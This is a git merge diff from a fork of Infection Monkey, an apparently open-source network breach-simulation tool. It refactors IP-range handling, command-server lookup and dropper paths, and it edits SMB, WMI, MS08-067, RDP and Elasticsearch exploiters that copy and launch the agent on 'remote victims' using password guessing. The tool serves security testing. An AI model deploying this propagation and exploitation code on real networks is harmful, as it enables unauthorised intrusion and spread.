forked from p15670423/monkey
Merge pull request #117 from guardicore/develop
Merge develop into master
This commit is contained in:
commit
6dc1f6f661
|
@ -0,0 +1 @@
|
||||||
|
__author__ = 'itay.mizeretz'
|
|
@ -0,0 +1 @@
|
||||||
|
__author__ = 'itay.mizeretz'
|
|
@ -0,0 +1,122 @@
|
||||||
|
import random
|
||||||
|
import socket
|
||||||
|
import struct
|
||||||
|
from abc import ABCMeta, abstractmethod
|
||||||
|
|
||||||
|
import ipaddress
|
||||||
|
|
||||||
|
__author__ = 'itamar'
|
||||||
|
|
||||||
|
|
||||||
|
class NetworkRange(object):
|
||||||
|
__metaclass__ = ABCMeta
|
||||||
|
|
||||||
|
def __init__(self, shuffle=True):
|
||||||
|
self._shuffle = shuffle
|
||||||
|
|
||||||
|
def get_range(self):
|
||||||
|
"""
|
||||||
|
:return: Returns a sequence of IPs in an internal format (might be numbers)
|
||||||
|
"""
|
||||||
|
return self._get_range()
|
||||||
|
|
||||||
|
def __iter__(self):
|
||||||
|
"""
|
||||||
|
Iterator of ip addresses (strings) from the current range.
|
||||||
|
Use get_range if you want it in one go.
|
||||||
|
:return:
|
||||||
|
"""
|
||||||
|
base_range = self.get_range()
|
||||||
|
if self._shuffle:
|
||||||
|
random.shuffle(base_range)
|
||||||
|
|
||||||
|
for x in base_range:
|
||||||
|
yield self._number_to_ip(x)
|
||||||
|
|
||||||
|
@abstractmethod
|
||||||
|
def is_in_range(self, ip_address):
|
||||||
|
raise NotImplementedError()
|
||||||
|
|
||||||
|
@abstractmethod
|
||||||
|
def _get_range(self):
|
||||||
|
raise NotImplementedError()
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def get_range_obj(address_str):
|
||||||
|
address_str = address_str.strip()
|
||||||
|
if not address_str: # Empty string
|
||||||
|
return None
|
||||||
|
if -1 != address_str.find('-'):
|
||||||
|
return IpRange(ip_range=address_str)
|
||||||
|
if -1 != address_str.find('/'):
|
||||||
|
return CidrRange(cidr_range=address_str)
|
||||||
|
return SingleIpRange(ip_address=address_str)
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def _ip_to_number(address):
|
||||||
|
return struct.unpack(">L", socket.inet_aton(address))[0]
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def _number_to_ip(num):
|
||||||
|
return socket.inet_ntoa(struct.pack(">L", num))
|
||||||
|
|
||||||
|
|
||||||
|
class CidrRange(NetworkRange):
|
||||||
|
def __init__(self, cidr_range, shuffle=True):
|
||||||
|
super(CidrRange, self).__init__(shuffle=shuffle)
|
||||||
|
self._cidr_range = cidr_range.strip()
|
||||||
|
self._ip_network = ipaddress.ip_network(unicode(self._cidr_range), strict=False)
|
||||||
|
|
||||||
|
def __repr__(self):
|
||||||
|
return "<CidrRange %s>" % (self._cidr_range,)
|
||||||
|
|
||||||
|
def is_in_range(self, ip_address):
|
||||||
|
return ipaddress.ip_address(ip_address) in self._ip_network
|
||||||
|
|
||||||
|
def _get_range(self):
|
||||||
|
return [CidrRange._ip_to_number(str(x)) for x in self._ip_network if x != self._ip_network.broadcast_address]
|
||||||
|
|
||||||
|
|
||||||
|
class IpRange(NetworkRange):
|
||||||
|
def __init__(self, ip_range=None, lower_end_ip=None, higher_end_ip=None, shuffle=True):
|
||||||
|
super(IpRange, self).__init__(shuffle=shuffle)
|
||||||
|
if ip_range is not None:
|
||||||
|
addresses = ip_range.split('-')
|
||||||
|
if len(addresses) != 2:
|
||||||
|
raise ValueError('Illegal IP range format: %s. Format is 192.168.0.5-192.168.0.20' % ip_range)
|
||||||
|
self._lower_end_ip, self._higher_end_ip = [x.strip() for x in addresses]
|
||||||
|
elif (lower_end_ip is not None) and (higher_end_ip is not None):
|
||||||
|
self._lower_end_ip = lower_end_ip.strip()
|
||||||
|
self._higher_end_ip = higher_end_ip.strip()
|
||||||
|
else:
|
||||||
|
raise ValueError('Illegal IP range: %s' % ip_range)
|
||||||
|
|
||||||
|
self._lower_end_ip_num = self._ip_to_number(self._lower_end_ip)
|
||||||
|
self._higher_end_ip_num = self._ip_to_number(self._higher_end_ip)
|
||||||
|
if self._higher_end_ip_num < self._lower_end_ip_num:
|
||||||
|
raise ValueError(
|
||||||
|
'Higher end IP %s is smaller than lower end IP %s' % (self._lower_end_ip, self._higher_end_ip))
|
||||||
|
|
||||||
|
def __repr__(self):
|
||||||
|
return "<IpRange %s-%s>" % (self._lower_end_ip, self._higher_end_ip)
|
||||||
|
|
||||||
|
def is_in_range(self, ip_address):
|
||||||
|
return self._lower_end_ip_num <= self._ip_to_number(ip_address) <= self._higher_end_ip_num
|
||||||
|
|
||||||
|
def _get_range(self):
|
||||||
|
return range(self._lower_end_ip_num, self._higher_end_ip_num + 1)
|
||||||
|
|
||||||
|
|
||||||
|
class SingleIpRange(NetworkRange):
|
||||||
|
def __init__(self, ip_address, shuffle=True):
|
||||||
|
super(SingleIpRange, self).__init__(shuffle=shuffle)
|
||||||
|
self._ip_address = ip_address
|
||||||
|
|
||||||
|
def __repr__(self):
|
||||||
|
return "<SingleIpRange %s>" % (self._ip_address,)
|
||||||
|
|
||||||
|
def is_in_range(self, ip_address):
|
||||||
|
return self._ip_address == ip_address
|
||||||
|
|
||||||
|
def _get_range(self):
|
||||||
|
return [SingleIpRange._ip_to_number(self._ip_address)]
|
|
@ -1,4 +1,5 @@
|
||||||
import os
|
import os
|
||||||
|
import struct
|
||||||
import sys
|
import sys
|
||||||
import types
|
import types
|
||||||
import uuid
|
import uuid
|
||||||
|
@ -8,7 +9,6 @@ from itertools import product
|
||||||
from exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter, RdpExploiter, SSHExploiter, ShellShockExploiter, \
|
from exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter, RdpExploiter, SSHExploiter, ShellShockExploiter, \
|
||||||
SambaCryExploiter, ElasticGroovyExploiter
|
SambaCryExploiter, ElasticGroovyExploiter
|
||||||
from network import TcpScanner, PingScanner, SMBFinger, SSHFinger, HTTPFinger, MySQLFinger, ElasticFinger
|
from network import TcpScanner, PingScanner, SMBFinger, SSHFinger, HTTPFinger, MySQLFinger, ElasticFinger
|
||||||
from network.range import FixedRange
|
|
||||||
|
|
||||||
__author__ = 'itamar'
|
__author__ = 'itamar'
|
||||||
|
|
||||||
|
@ -116,7 +116,8 @@ class Configuration(object):
|
||||||
dropper_set_date = True
|
dropper_set_date = True
|
||||||
dropper_date_reference_path_windows = r"%windir%\system32\kernel32.dll"
|
dropper_date_reference_path_windows = r"%windir%\system32\kernel32.dll"
|
||||||
dropper_date_reference_path_linux = '/bin/sh'
|
dropper_date_reference_path_linux = '/bin/sh'
|
||||||
dropper_target_path = r"C:\Windows\monkey.exe"
|
dropper_target_path_win_32 = r"C:\Windows\monkey32.exe"
|
||||||
|
dropper_target_path_win_64 = r"C:\Windows\monkey64.exe"
|
||||||
dropper_target_path_linux = '/tmp/monkey'
|
dropper_target_path_linux = '/tmp/monkey'
|
||||||
|
|
||||||
###########################
|
###########################
|
||||||
|
@ -183,8 +184,7 @@ class Configuration(object):
|
||||||
# Auto detect and scan local subnets
|
# Auto detect and scan local subnets
|
||||||
local_network_scan = True
|
local_network_scan = True
|
||||||
|
|
||||||
range_class = FixedRange
|
subnet_scan_list = ['', ]
|
||||||
range_fixed = ['', ]
|
|
||||||
|
|
||||||
blocked_ips = ['', ]
|
blocked_ips = ['', ]
|
||||||
|
|
||||||
|
|
|
@ -4,6 +4,7 @@ import platform
|
||||||
from socket import gethostname
|
from socket import gethostname
|
||||||
|
|
||||||
import requests
|
import requests
|
||||||
|
from requests.exceptions import ConnectionError
|
||||||
|
|
||||||
import monkeyfs
|
import monkeyfs
|
||||||
import tunnel
|
import tunnel
|
||||||
|
@ -24,10 +25,10 @@ class ControlClient(object):
|
||||||
proxies = {}
|
proxies = {}
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def wakeup(parent=None, default_tunnel=None, has_internet_access=None):
|
def wakeup(parent=None, has_internet_access=None):
|
||||||
LOG.debug("Trying to wake up with Monkey Island servers list: %r" % WormConfiguration.command_servers)
|
if parent:
|
||||||
if parent or default_tunnel:
|
LOG.debug("parent: %s" % (parent,))
|
||||||
LOG.debug("parent: %s, default_tunnel: %s" % (parent, default_tunnel))
|
|
||||||
hostname = gethostname()
|
hostname = gethostname()
|
||||||
if not parent:
|
if not parent:
|
||||||
parent = GUID
|
parent = GUID
|
||||||
|
@ -35,10 +36,6 @@ class ControlClient(object):
|
||||||
if has_internet_access is None:
|
if has_internet_access is None:
|
||||||
has_internet_access = check_internet_access(WormConfiguration.internet_services)
|
has_internet_access = check_internet_access(WormConfiguration.internet_services)
|
||||||
|
|
||||||
for server in WormConfiguration.command_servers:
|
|
||||||
try:
|
|
||||||
WormConfiguration.current_server = server
|
|
||||||
|
|
||||||
monkey = {'guid': GUID,
|
monkey = {'guid': GUID,
|
||||||
'hostname': hostname,
|
'hostname': hostname,
|
||||||
'ip_addresses': local_ips(),
|
'ip_addresses': local_ips(),
|
||||||
|
@ -50,33 +47,55 @@ class ControlClient(object):
|
||||||
if ControlClient.proxies:
|
if ControlClient.proxies:
|
||||||
monkey['tunnel'] = ControlClient.proxies.get('https')
|
monkey['tunnel'] = ControlClient.proxies.get('https')
|
||||||
|
|
||||||
debug_message = "Trying to connect to server: %s" % server
|
requests.post("https://%s/api/monkey" % (WormConfiguration.current_server,),
|
||||||
if ControlClient.proxies:
|
|
||||||
debug_message += " through proxies: %s" % ControlClient.proxies
|
|
||||||
LOG.debug(debug_message)
|
|
||||||
reply = requests.post("https://%s/api/monkey" % (server,),
|
|
||||||
data=json.dumps(monkey),
|
data=json.dumps(monkey),
|
||||||
headers={'content-type': 'application/json'},
|
headers={'content-type': 'application/json'},
|
||||||
verify=False,
|
verify=False,
|
||||||
proxies=ControlClient.proxies,
|
proxies=ControlClient.proxies,
|
||||||
timeout=20)
|
timeout=20)
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def find_server(default_tunnel=None):
|
||||||
|
LOG.debug("Trying to wake up with Monkey Island servers list: %r" % WormConfiguration.command_servers)
|
||||||
|
if default_tunnel:
|
||||||
|
LOG.debug("default_tunnel: %s" % (default_tunnel,))
|
||||||
|
|
||||||
|
current_server = ""
|
||||||
|
|
||||||
|
for server in WormConfiguration.command_servers:
|
||||||
|
try:
|
||||||
|
current_server = server
|
||||||
|
|
||||||
|
debug_message = "Trying to connect to server: %s" % server
|
||||||
|
if ControlClient.proxies:
|
||||||
|
debug_message += " through proxies: %s" % ControlClient.proxies
|
||||||
|
LOG.debug(debug_message)
|
||||||
|
requests.get("https://%s/api?action=is-up" % (server,),
|
||||||
|
verify=False,
|
||||||
|
proxies=ControlClient.proxies)
|
||||||
|
WormConfiguration.current_server = current_server
|
||||||
break
|
break
|
||||||
|
|
||||||
except Exception as exc:
|
except ConnectionError as exc:
|
||||||
WormConfiguration.current_server = ""
|
current_server = ""
|
||||||
LOG.warn("Error connecting to control server %s: %s", server, exc)
|
LOG.warn("Error connecting to control server %s: %s", server, exc)
|
||||||
|
|
||||||
if not WormConfiguration.current_server:
|
if current_server:
|
||||||
if not ControlClient.proxies:
|
return True
|
||||||
|
else:
|
||||||
|
if ControlClient.proxies:
|
||||||
|
return False
|
||||||
|
else:
|
||||||
LOG.info("Starting tunnel lookup...")
|
LOG.info("Starting tunnel lookup...")
|
||||||
proxy_find = tunnel.find_tunnel(default=default_tunnel)
|
proxy_find = tunnel.find_tunnel(default=default_tunnel)
|
||||||
if proxy_find:
|
if proxy_find:
|
||||||
proxy_address, proxy_port = proxy_find
|
proxy_address, proxy_port = proxy_find
|
||||||
LOG.info("Found tunnel at %s:%s" % (proxy_address, proxy_port))
|
LOG.info("Found tunnel at %s:%s" % (proxy_address, proxy_port))
|
||||||
ControlClient.proxies['https'] = 'https://%s:%s' % (proxy_address, proxy_port)
|
ControlClient.proxies['https'] = 'https://%s:%s' % (proxy_address, proxy_port)
|
||||||
ControlClient.wakeup(parent=parent, has_internet_access=has_internet_access)
|
return ControlClient.find_server()
|
||||||
else:
|
else:
|
||||||
LOG.info("No tunnel found")
|
LOG.info("No tunnel found")
|
||||||
|
return False
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def keepalive():
|
def keepalive():
|
||||||
|
@ -249,7 +268,6 @@ class ControlClient(object):
|
||||||
data=json.dumps(host_dict),
|
data=json.dumps(host_dict),
|
||||||
headers={'content-type': 'application/json'},
|
headers={'content-type': 'application/json'},
|
||||||
verify=False, proxies=ControlClient.proxies)
|
verify=False, proxies=ControlClient.proxies)
|
||||||
|
|
||||||
if 200 == reply.status_code:
|
if 200 == reply.status_code:
|
||||||
result_json = reply.json()
|
result_json = reply.json()
|
||||||
filename = result_json.get('filename')
|
filename = result_json.get('filename')
|
||||||
|
|
|
@ -38,7 +38,7 @@ class MonkeyDrops(object):
|
||||||
arg_parser.add_argument('-p', '--parent')
|
arg_parser.add_argument('-p', '--parent')
|
||||||
arg_parser.add_argument('-t', '--tunnel')
|
arg_parser.add_argument('-t', '--tunnel')
|
||||||
arg_parser.add_argument('-s', '--server')
|
arg_parser.add_argument('-s', '--server')
|
||||||
arg_parser.add_argument('-d', '--depth')
|
arg_parser.add_argument('-d', '--depth', type=int)
|
||||||
arg_parser.add_argument('-l', '--location')
|
arg_parser.add_argument('-l', '--location')
|
||||||
self.monkey_args = args[1:]
|
self.monkey_args = args[1:]
|
||||||
self.opts, _ = arg_parser.parse_known_args(args)
|
self.opts, _ = arg_parser.parse_known_args(args)
|
||||||
|
@ -53,10 +53,13 @@ class MonkeyDrops(object):
|
||||||
|
|
||||||
if self._config['destination_path'] is None:
|
if self._config['destination_path'] is None:
|
||||||
LOG.error("No destination path specified")
|
LOG.error("No destination path specified")
|
||||||
return
|
return False
|
||||||
|
|
||||||
# we copy/move only in case path is different
|
# we copy/move only in case path is different
|
||||||
file_moved = (self._config['source_path'].lower() == self._config['destination_path'].lower())
|
file_moved = os.path.samefile(self._config['source_path'], self._config['destination_path'])
|
||||||
|
|
||||||
|
if not file_moved and os.path.exists(self._config['destination_path']):
|
||||||
|
os.remove(self._config['destination_path'])
|
||||||
|
|
||||||
# first try to move the file
|
# first try to move the file
|
||||||
if not file_moved and WormConfiguration.dropper_try_move_first:
|
if not file_moved and WormConfiguration.dropper_try_move_first:
|
||||||
|
@ -105,8 +108,8 @@ class MonkeyDrops(object):
|
||||||
except:
|
except:
|
||||||
LOG.warn("Cannot set reference date to destination file")
|
LOG.warn("Cannot set reference date to destination file")
|
||||||
|
|
||||||
monkey_options = build_monkey_commandline_explicitly(
|
monkey_options =\
|
||||||
self.opts.parent, self.opts.tunnel, self.opts.server, int(self.opts.depth))
|
build_monkey_commandline_explicitly(self.opts.parent, self.opts.tunnel, self.opts.server, self.opts.depth)
|
||||||
|
|
||||||
if OperatingSystem.Windows == SystemInfoCollector.get_os():
|
if OperatingSystem.Windows == SystemInfoCollector.get_os():
|
||||||
monkey_cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': self._config['destination_path']} + monkey_options
|
monkey_cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': self._config['destination_path']} + monkey_options
|
||||||
|
@ -130,6 +133,7 @@ class MonkeyDrops(object):
|
||||||
LOG.warn("Seems like monkey died too soon")
|
LOG.warn("Seems like monkey died too soon")
|
||||||
|
|
||||||
def cleanup(self):
|
def cleanup(self):
|
||||||
|
try:
|
||||||
if (self._config['source_path'].lower() != self._config['destination_path'].lower()) and \
|
if (self._config['source_path'].lower() != self._config['destination_path'].lower()) and \
|
||||||
os.path.exists(self._config['source_path']) and \
|
os.path.exists(self._config['source_path']) and \
|
||||||
WormConfiguration.dropper_try_move_first:
|
WormConfiguration.dropper_try_move_first:
|
||||||
|
@ -149,3 +153,5 @@ class MonkeyDrops(object):
|
||||||
else:
|
else:
|
||||||
LOG.debug("Dropper source file '%s' is marked for deletion on next boot",
|
LOG.debug("Dropper source file '%s' is marked for deletion on next boot",
|
||||||
self._config['source_path'])
|
self._config['source_path'])
|
||||||
|
except AttributeError:
|
||||||
|
LOG.error("Invalid configuration options. Failing")
|
||||||
|
|
|
@ -7,8 +7,7 @@
|
||||||
"www.google.com"
|
"www.google.com"
|
||||||
],
|
],
|
||||||
"keep_tunnel_open_time": 60,
|
"keep_tunnel_open_time": 60,
|
||||||
"range_class": "RelativeRange",
|
"subnet_scan_list": [
|
||||||
"range_fixed": [
|
|
||||||
""
|
""
|
||||||
],
|
],
|
||||||
"blocked_ips": [""],
|
"blocked_ips": [""],
|
||||||
|
@ -23,7 +22,8 @@
|
||||||
"dropper_log_path_windows": "%temp%\\~df1562.tmp",
|
"dropper_log_path_windows": "%temp%\\~df1562.tmp",
|
||||||
"dropper_log_path_linux": "/tmp/user-1562",
|
"dropper_log_path_linux": "/tmp/user-1562",
|
||||||
"dropper_set_date": true,
|
"dropper_set_date": true,
|
||||||
"dropper_target_path": "C:\\Windows\\monkey.exe",
|
"dropper_target_path_win_32": "C:\\Windows\\monkey32.exe",
|
||||||
|
"dropper_target_path_win_64": "C:\\Windows\\monkey64.exe",
|
||||||
"dropper_target_path_linux": "/tmp/monkey",
|
"dropper_target_path_linux": "/tmp/monkey",
|
||||||
|
|
||||||
|
|
||||||
|
|
|
@ -10,7 +10,7 @@ import logging
|
||||||
import requests
|
import requests
|
||||||
|
|
||||||
from exploit import HostExploiter
|
from exploit import HostExploiter
|
||||||
from model import MONKEY_ARG
|
from model import DROPPER_ARG
|
||||||
from network.elasticfinger import ES_SERVICE, ES_PORT
|
from network.elasticfinger import ES_SERVICE, ES_PORT
|
||||||
from tools import get_target_monkey, HTTPTools, build_monkey_commandline, get_monkey_depth
|
from tools import get_target_monkey, HTTPTools, build_monkey_commandline, get_monkey_depth
|
||||||
|
|
||||||
|
@ -114,12 +114,14 @@ class ElasticGroovyExploiter(HostExploiter):
|
||||||
"""
|
"""
|
||||||
Runs the monkey
|
Runs the monkey
|
||||||
"""
|
"""
|
||||||
cmdline = "%s %s" % (dropper_target_path_linux, MONKEY_ARG)
|
|
||||||
cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1) + ' & '
|
cmdline = "%s %s" % (dropper_target_path_linux, DROPPER_ARG)
|
||||||
|
cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1, location=dropper_target_path_linux)
|
||||||
|
cmdline += ' & '
|
||||||
self.run_shell_command(cmdline)
|
self.run_shell_command(cmdline)
|
||||||
LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)",
|
LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)",
|
||||||
self._config.dropper_target_path_linux, self.host, cmdline)
|
self._config.dropper_target_path_linux, self.host, cmdline)
|
||||||
if not (self.check_if_remote_file_exists_linux(self._config.monkey_log_path_linux)):
|
if not (self.check_if_remote_file_exists_linux(self._config.dropper_log_path_linux)):
|
||||||
LOG.info("Log file does not exist, monkey might not have run")
|
LOG.info("Log file does not exist, monkey might not have run")
|
||||||
|
|
||||||
def download_file_in_linux(self, src_path, target_path):
|
def download_file_in_linux(self, src_path, target_path):
|
||||||
|
|
|
@ -278,11 +278,11 @@ class RdpExploiter(HostExploiter):
|
||||||
|
|
||||||
if self._config.rdp_use_vbs_download:
|
if self._config.rdp_use_vbs_download:
|
||||||
command = RDP_CMDLINE_HTTP_VBS % {
|
command = RDP_CMDLINE_HTTP_VBS % {
|
||||||
'monkey_path': self._config.dropper_target_path,
|
'monkey_path': self._config.dropper_target_path_win_32,
|
||||||
'http_path': http_path, 'parameters': cmdline}
|
'http_path': http_path, 'parameters': cmdline}
|
||||||
else:
|
else:
|
||||||
command = RDP_CMDLINE_HTTP_BITS % {
|
command = RDP_CMDLINE_HTTP_BITS % {
|
||||||
'monkey_path': self._config.dropper_target_path,
|
'monkey_path': self._config.dropper_target_path_win_32,
|
||||||
'http_path': http_path, 'parameters': cmdline}
|
'http_path': http_path, 'parameters': cmdline}
|
||||||
|
|
||||||
user_password_pairs = self._config.get_exploit_user_password_pairs()
|
user_password_pairs = self._config.get_exploit_user_password_pairs()
|
||||||
|
|
|
@ -57,7 +57,7 @@ class SmbExploiter(HostExploiter):
|
||||||
# copy the file remotely using SMB
|
# copy the file remotely using SMB
|
||||||
remote_full_path = SmbTools.copy_file(self.host,
|
remote_full_path = SmbTools.copy_file(self.host,
|
||||||
src_path,
|
src_path,
|
||||||
self._config.dropper_target_path,
|
self._config.dropper_target_path_win_32,
|
||||||
user,
|
user,
|
||||||
password,
|
password,
|
||||||
lm_hash,
|
lm_hash,
|
||||||
|
@ -85,9 +85,9 @@ class SmbExploiter(HostExploiter):
|
||||||
return False
|
return False
|
||||||
|
|
||||||
# execute the remote dropper in case the path isn't final
|
# execute the remote dropper in case the path isn't final
|
||||||
if remote_full_path.lower() != self._config.dropper_target_path.lower():
|
if remote_full_path.lower() != self._config.dropper_target_path_win_32.lower():
|
||||||
cmdline = DROPPER_CMDLINE_DETACHED_WINDOWS % {'dropper_path': remote_full_path} + \
|
cmdline = DROPPER_CMDLINE_DETACHED_WINDOWS % {'dropper_path': remote_full_path} + \
|
||||||
build_monkey_commandline(self.host, get_monkey_depth() - 1, self._config.dropper_target_path)
|
build_monkey_commandline(self.host, get_monkey_depth() - 1, self._config.dropper_target_path_win_32)
|
||||||
else:
|
else:
|
||||||
cmdline = MONKEY_CMDLINE_DETACHED_WINDOWS % {'monkey_path': remote_full_path} + \
|
cmdline = MONKEY_CMDLINE_DETACHED_WINDOWS % {'monkey_path': remote_full_path} + \
|
||||||
build_monkey_commandline(self.host, get_monkey_depth() - 1)
|
build_monkey_commandline(self.host, get_monkey_depth() - 1)
|
||||||
|
|
|
@ -214,7 +214,7 @@ class Ms08_067_Exploiter(HostExploiter):
|
||||||
# copy the file remotely using SMB
|
# copy the file remotely using SMB
|
||||||
remote_full_path = SmbTools.copy_file(self.host,
|
remote_full_path = SmbTools.copy_file(self.host,
|
||||||
src_path,
|
src_path,
|
||||||
self._config.dropper_target_path,
|
self._config.dropper_target_path_win_32,
|
||||||
self._config.ms08_067_remote_user_add,
|
self._config.ms08_067_remote_user_add,
|
||||||
self._config.ms08_067_remote_user_pass)
|
self._config.ms08_067_remote_user_pass)
|
||||||
|
|
||||||
|
@ -223,7 +223,7 @@ class Ms08_067_Exploiter(HostExploiter):
|
||||||
for password in self._config.exploit_password_list:
|
for password in self._config.exploit_password_list:
|
||||||
remote_full_path = SmbTools.copy_file(self.host,
|
remote_full_path = SmbTools.copy_file(self.host,
|
||||||
src_path,
|
src_path,
|
||||||
self._config.dropper_target_path,
|
self._config.dropper_target_path_win_32,
|
||||||
"Administrator",
|
"Administrator",
|
||||||
password)
|
password)
|
||||||
if remote_full_path:
|
if remote_full_path:
|
||||||
|
@ -233,9 +233,9 @@ class Ms08_067_Exploiter(HostExploiter):
|
||||||
return False
|
return False
|
||||||
|
|
||||||
# execute the remote dropper in case the path isn't final
|
# execute the remote dropper in case the path isn't final
|
||||||
if remote_full_path.lower() != self._config.dropper_target_path.lower():
|
if remote_full_path.lower() != self._config.dropper_target_path_win_32.lower():
|
||||||
cmdline = DROPPER_CMDLINE_WINDOWS % {'dropper_path': remote_full_path} + \
|
cmdline = DROPPER_CMDLINE_WINDOWS % {'dropper_path': remote_full_path} + \
|
||||||
build_monkey_commandline(self.host, get_monkey_depth() - 1, self._config.dropper_target_path)
|
build_monkey_commandline(self.host, get_monkey_depth() - 1, self._config.dropper_target_path_win_32)
|
||||||
else:
|
else:
|
||||||
cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': remote_full_path} + \
|
cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': remote_full_path} + \
|
||||||
build_monkey_commandline(self.host, get_monkey_depth() - 1)
|
build_monkey_commandline(self.host, get_monkey_depth() - 1)
|
||||||
|
|
|
@ -77,7 +77,7 @@ class WmiExploiter(HostExploiter):
|
||||||
# copy the file remotely using SMB
|
# copy the file remotely using SMB
|
||||||
remote_full_path = SmbTools.copy_file(self.host,
|
remote_full_path = SmbTools.copy_file(self.host,
|
||||||
src_path,
|
src_path,
|
||||||
self._config.dropper_target_path,
|
self._config.dropper_target_path_win_32,
|
||||||
user,
|
user,
|
||||||
password,
|
password,
|
||||||
lm_hash,
|
lm_hash,
|
||||||
|
@ -88,9 +88,9 @@ class WmiExploiter(HostExploiter):
|
||||||
wmi_connection.close()
|
wmi_connection.close()
|
||||||
return False
|
return False
|
||||||
# execute the remote dropper in case the path isn't final
|
# execute the remote dropper in case the path isn't final
|
||||||
elif remote_full_path.lower() != self._config.dropper_target_path.lower():
|
elif remote_full_path.lower() != self._config.dropper_target_path_win_32.lower():
|
||||||
cmdline = DROPPER_CMDLINE_WINDOWS % {'dropper_path': remote_full_path} + \
|
cmdline = DROPPER_CMDLINE_WINDOWS % {'dropper_path': remote_full_path} + \
|
||||||
build_monkey_commandline(self.host, get_monkey_depth() - 1, self._config.dropper_target_path)
|
build_monkey_commandline(self.host, get_monkey_depth() - 1, self._config.dropper_target_path_win_32)
|
||||||
else:
|
else:
|
||||||
cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': remote_full_path} + \
|
cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': remote_full_path} + \
|
||||||
build_monkey_commandline(self.host, get_monkey_depth() - 1)
|
build_monkey_commandline(self.host, get_monkey_depth() - 1)
|
||||||
|
|
|
@ -91,7 +91,12 @@ def main():
|
||||||
|
|
||||||
if WormConfiguration.use_file_logging:
|
if WormConfiguration.use_file_logging:
|
||||||
if os.path.exists(log_path):
|
if os.path.exists(log_path):
|
||||||
|
# If log exists but can't be removed it means other monkey is running. This usually happens on upgrade
|
||||||
|
# from 32bit to 64bit monkey on Windows. In all cases this shouldn't be a problem.
|
||||||
|
try:
|
||||||
os.remove(log_path)
|
os.remove(log_path)
|
||||||
|
except OSError:
|
||||||
|
pass
|
||||||
LOG_CONFIG['handlers']['file']['filename'] = log_path
|
LOG_CONFIG['handlers']['file']['filename'] = log_path
|
||||||
LOG_CONFIG['root']['handlers'].append('file')
|
LOG_CONFIG['root']['handlers'].append('file')
|
||||||
else:
|
else:
|
||||||
|
|
|
@ -4,7 +4,7 @@ block_cipher = None
|
||||||
|
|
||||||
|
|
||||||
a = Analysis(['main.py'],
|
a = Analysis(['main.py'],
|
||||||
pathex=['.'],
|
pathex=['.', '..'],
|
||||||
binaries=None,
|
binaries=None,
|
||||||
datas=None,
|
datas=None,
|
||||||
hiddenimports=['_cffi_backend'],
|
hiddenimports=['_cffi_backend'],
|
||||||
|
|
|
@ -14,6 +14,7 @@ from network.firewall import app as firewall
|
||||||
from network.network_scanner import NetworkScanner
|
from network.network_scanner import NetworkScanner
|
||||||
from system_info import SystemInfoCollector
|
from system_info import SystemInfoCollector
|
||||||
from system_singleton import SystemSingleton
|
from system_singleton import SystemSingleton
|
||||||
|
from windows_upgrader import WindowsUpgrader
|
||||||
|
|
||||||
__author__ = 'itamar'
|
__author__ = 'itamar'
|
||||||
|
|
||||||
|
@ -35,6 +36,8 @@ class InfectionMonkey(object):
|
||||||
self._fingerprint = None
|
self._fingerprint = None
|
||||||
self._default_server = None
|
self._default_server = None
|
||||||
self._depth = 0
|
self._depth = 0
|
||||||
|
self._opts = None
|
||||||
|
self._upgrading_to_64 = False
|
||||||
|
|
||||||
def initialize(self):
|
def initialize(self):
|
||||||
LOG.info("Monkey is initializing...")
|
LOG.info("Monkey is initializing...")
|
||||||
|
@ -46,14 +49,13 @@ class InfectionMonkey(object):
|
||||||
arg_parser.add_argument('-p', '--parent')
|
arg_parser.add_argument('-p', '--parent')
|
||||||
arg_parser.add_argument('-t', '--tunnel')
|
arg_parser.add_argument('-t', '--tunnel')
|
||||||
arg_parser.add_argument('-s', '--server')
|
arg_parser.add_argument('-s', '--server')
|
||||||
arg_parser.add_argument('-d', '--depth')
|
arg_parser.add_argument('-d', '--depth', type=int)
|
||||||
opts, self._args = arg_parser.parse_known_args(self._args)
|
self._opts, self._args = arg_parser.parse_known_args(self._args)
|
||||||
|
|
||||||
self._parent = opts.parent
|
self._parent = self._opts.parent
|
||||||
self._default_tunnel = opts.tunnel
|
self._default_tunnel = self._opts.tunnel
|
||||||
self._default_server = opts.server
|
self._default_server = self._opts.server
|
||||||
if opts.depth:
|
if self._opts.depth:
|
||||||
WormConfiguration.depth = int(opts.depth)
|
|
||||||
WormConfiguration._depth_from_commandline = True
|
WormConfiguration._depth_from_commandline = True
|
||||||
self._keep_running = True
|
self._keep_running = True
|
||||||
self._network = NetworkScanner()
|
self._network = NetworkScanner()
|
||||||
|
@ -69,15 +71,27 @@ class InfectionMonkey(object):
|
||||||
def start(self):
|
def start(self):
|
||||||
LOG.info("Monkey is running...")
|
LOG.info("Monkey is running...")
|
||||||
|
|
||||||
if firewall.is_enabled():
|
if not ControlClient.find_server(default_tunnel=self._default_tunnel):
|
||||||
firewall.add_firewall_rule()
|
LOG.info("Monkey couldn't find server. Going down.")
|
||||||
ControlClient.wakeup(parent=self._parent, default_tunnel=self._default_tunnel)
|
return
|
||||||
|
|
||||||
|
if WindowsUpgrader.should_upgrade():
|
||||||
|
self._upgrading_to_64 = True
|
||||||
|
self._singleton.unlock()
|
||||||
|
LOG.info("32bit monkey running on 64bit Windows. Upgrading.")
|
||||||
|
WindowsUpgrader.upgrade(self._opts)
|
||||||
|
return
|
||||||
|
|
||||||
|
ControlClient.wakeup(parent=self._parent)
|
||||||
ControlClient.load_control_config()
|
ControlClient.load_control_config()
|
||||||
|
|
||||||
if not WormConfiguration.alive:
|
if not WormConfiguration.alive:
|
||||||
LOG.info("Marked not alive from configuration")
|
LOG.info("Marked not alive from configuration")
|
||||||
return
|
